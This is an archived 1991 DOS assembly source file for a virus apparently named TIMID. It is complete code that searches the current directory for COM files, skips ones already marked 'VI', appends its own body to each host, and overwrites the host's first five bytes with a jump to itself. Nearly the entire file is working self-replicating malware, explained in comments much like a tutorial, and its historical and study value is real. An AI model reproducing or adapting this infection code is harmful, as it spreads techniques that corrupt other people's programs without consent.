HPAVC/HPAVC CD-ROM.iso/pc/L.ZIP/LITBLA.LZH/TIMID.ASM

Assembly Source File | 1991-04-01 | 11.0 KB | 210 lines

;This program is a basic virus that infects just COM files. It gets the first
;five bytes of its host and stores them elsewhere in the program and puts a
;jump to it at the start, along with the letters "VI", which are used to
;by the virus to identify an already infected program.


MAIN    SEGMENT BYTE
        ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING

        ORG     100H

;This is a shell of a program which will release the virus into the system.
;All it does is jump to the virus routine, which does its job and returns to
;it, at which point it terminates to DOS.

HOST:
        jmp     NEAR PTR VIRUS_START            ;Note: MASM is too stupid to assemble this correctly
        db      'VI'
        mov     ah,4CH
        mov     al,0
        int     21H             ;terminate normally with DOS

VIRUS:                          ;this is a label for the first byte of the virus

COMFILE DB      '*.COM',0       ;search string for a com file

VIRUS_START:
        call    GET_START       ;get start address - this is a trick to determine the location of the start of this program
GET_START:                      ;put the address of GET_START on the stack with the call,
        sub     WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS  ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
        mov     dx,OFFSET DTA   ;put DTA at the end of the virus for now
        mov     ah,1AH          ;set new DTA function
        int     21H
        call    FIND_FILE       ;get a com file to attack
        jnz     EXIT_VIRUS      ;returned nz - no file to infect, exit
        call    INFECT          ;have a good COM file to use - infect it
        mov     dx,OFFSET FNAME         ;display the name of the file just infected
        mov     [HANDLE],24H    ;make sure the string terminates, put '$' after it
        mov     ah,9
        int     21H             ;display it
EXIT_VIRUS:
        mov     dx,80H          ;fix the DTA so that the host program doesn't
        mov     ah,1AH          ;get confused and write over its data with
        int     21H             ;file i/o or something like that!
        mov     bx,[VIR_START]                          ;get the start address of the virus
        mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)]         ;restore the 5 original bytes
        mov     WORD PTR [HOST],ax                                          ;of the COM file to their
        mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2]       ;to the start of the file
        mov     WORD PTR [HOST+2],ax
        mov     al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4]       ;to the start of the file
        mov     BYTE PTR [HOST+4],al
        mov     [VIR_START],100H                        ;set up stack to do return to host program
        ret                                             ;and return to host

START_CODE:                     ;move first 5 bytes from host program to here
        nop                     ;nop's for the original assembly code
        nop                     ;will work fine
        nop
        nop
        nop

;--------------------------------------------------------------------------
;Find a file which passes FILE_OK
;
;This routine does a simple directory search to find a COM file in the
;current directory, to find a file for which FILE_OK returns with C reset.
;
FIND_FILE:
        mov     dx,[VIR_START]
;        add     dx,OFFSET COMFILE - OFFSET VIRUS        ;this is zero here, so omit it
        mov     cx,3FH          ;search for any file, no matter what the attributes
        mov     ah,4EH          ;do DOS search first function
        int     21H
FF_LOOP:
        or      al,al           ;is DOS return OK?
        jnz     FF_DONE         ;no - quit with Z reset
        call    FILE_OK         ;return ok - is this a good file to use?
        jz      FF_DONE         ;yes - valid file found - exit with z set
        mov     ah,4FH          ;not a valid file, so
        int     21H             ;do find next function
        jmp     FF_LOOP         ;and go test next file for validity
FF_DONE:
        ret


;--------------------------------------------------------------------------
;Function to determine whether the COM file specified in FNAME is useable.
;if so return z, else return nz.
;What makes a COM file useable?:
;              a) There must be space for the virus without exceeding the
;                 64 KByte file size limit.
;              b) Bytes 0, 3 and 4 of the file are not a near jump op code,
;                 and 'V', 'I', respectively
;
FILE_OK:
        mov     dx,OFFSET FNAME                         ;first open the file
        mov     ax,3D02H                                ;r/w access open file, since we'll want to write to it
        int     21H
        jc      FOK_NZEND                               ;error opening file - quit and say this file can't be used

        mov     bx,ax                                   ;put file handle in bx
        push    bx                                      ;and save it on the stack
        mov     cx,5                                    ;next read 5 bytes at the start of the program
        mov     dx,OFFSET START_IMAGE                   ;and store them here
        mov     ah,3FH                                  ;DOS read function
        int     21H

        pop     bx                                      ;restore the file handle
        mov     ah,3EH
        int     21H                                     ;and close the file

        mov     ax,WORD PTR [FSIZE]                     ;get the file size of the host
        add     ax,OFFSET ENDVIRUS - OFFSET VIRUS       ;and add the size of the virus to it
        jc      FOK_NZEND                               ;c set if ax overflows, which will happen if size goes above 64K
        cmp     BYTE PTR [START_IMAGE],0E9H             ;size ok - is first byte a near jump op code?
        jnz     FOK_ZEND                                ;not a near jump, file must be ok, exit with z set
        cmp     WORD PTR [START_IMAGE+3],4956H          ;ok, is 'VI' in positions 3 & 4?
        jnz     FOK_ZEND                                ;no, file can be infected, return with Z set
FOK_NZEND:
        mov     al,1                                    ;we'd better not infect this file
        or      al,al                                   ;so return with z reset
        ret
FOK_ZEND:
        xor     al,al                                   ;ok to infect, return with z set
        ret

;--------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the COM file
;Basically, it just copies everything here to there, and then goes and
;adjusts the 5 bytes at the start of the program and the five bytes stored
;in memory.
;
INFECT:
        mov     dx,OFFSET FNAME                         ;first open the file
        mov     ax,3D02H                                ;r/w access open file, since we'll want to write to it
        int     21H
        mov     WORD PTR [HANDLE],ax                    ;and save the file handle here

        xor     cx,cx                                   ;prepare to write virus on new file; positon file pointer
        mov     dx,cx                                   ;cx:dx pointer = 0
        mov     bx,WORD PTR [HANDLE]
        mov     ax,4202H                                ;locate pointer to end DOS function
        int     21H

        mov     cx,OFFSET FINAL - OFFSET VIRUS          ;now write the virus; cx=number of bytes to write
        mov     dx,[VIR_START]                          ;ds:dx = place in memory to write from
        mov     bx,WORD PTR [HANDLE]                    ;bx = file handle
        mov     ah,40H                                  ;DOS write function
        int     21H

        xor     cx,cx                                   ;now we have to go save the 5 bytes which came from the start of the
        mov     dx,WORD PTR [FSIZE]                     ;so position the file pointer
        add     dx,OFFSET START_CODE - OFFSET VIRUS     ;to where START_CODE is in the new virus
        mov     bx,WORD PTR [HANDLE]
        mov     ax,4200H                                ;and use DOS to position the file pointer
        int     21H

        mov     cx,5                                    ;now go write START_CODE in the file
        mov     bx,WORD PTR [HANDLE]                    ;get file handle
        mov     dx,OFFSET START_IMAGE                   ;during the FILE_OK function above
        mov     ah,40H
        int     21H

        xor     cx,cx                                   ;now go back to the start of host program
        mov     dx,cx                                   ;so we can put the jump to the virus in
        mov     bx,WORD PTR [HANDLE]
        mov     ax,4200H                                ;locate file pointer function
        int     21H

        mov     bx,[VIR_START]                          ;calculate jump location for start of code
        mov     BYTE PTR [START_IMAGE],0E9H             ;first the near jump op code E9
        mov     ax,WORD PTR [FSIZE]                     ;and then the relative address
        add     ax,OFFSET VIRUS_START-OFFSET VIRUS-3    ;these go in the START_IMAGE area
        mov     WORD PTR [START_IMAGE+1],ax
        mov     WORD PTR [START_IMAGE+3],4956H          ;and put 'VI' ID code in

        mov     cx,5                                    ;ok, now go write the 5 bytes we just put in START_IMAGE
        mov     dx,OFFSET START_IMAGE                   ;ds:dx = pointer to START_IMAGE
        mov     bx,WORD PTR [HANDLE]                    ;file handle
        mov     ah,40H                                  ;DOS write function
        int     21H

        mov     bx,WORD PTR [HANDLE]                    ;finally, get handle off of stack
        mov     ah,3EH                                  ;and close file
        int     21H

        ret                             ;all done, the virus is transferred

FINAL:                                  ;label for last byte of code to be kept in virus when it moves

ENDVIRUS        EQU     $ + 212         ;label for determining space needed by virus
                                        ;Note: 212 = FFFF - FF2A - 1 = size of data space
                                        ;      $ gives approximate size of code required for virus

        ORG     0FF2AH

DTA             DB      1AH dup (?)             ;this is a work area for the search function
FSIZE           DW      0,0                     ;file size storage area
FNAME           DB      13 dup (?)              ;area for file path
HANDLE          DW      0                       ;file handle
START_IMAGE     DB      0,0,0,0,0               ;an area to store 3 bytes for reading and writing to file
VSTACK          DW      50H dup (?)             ;stack for the virus program
VIR_START       DW      (?)                     ;start address of VIRUS (overlays the stack)


MAIN    ENDS


        END HOST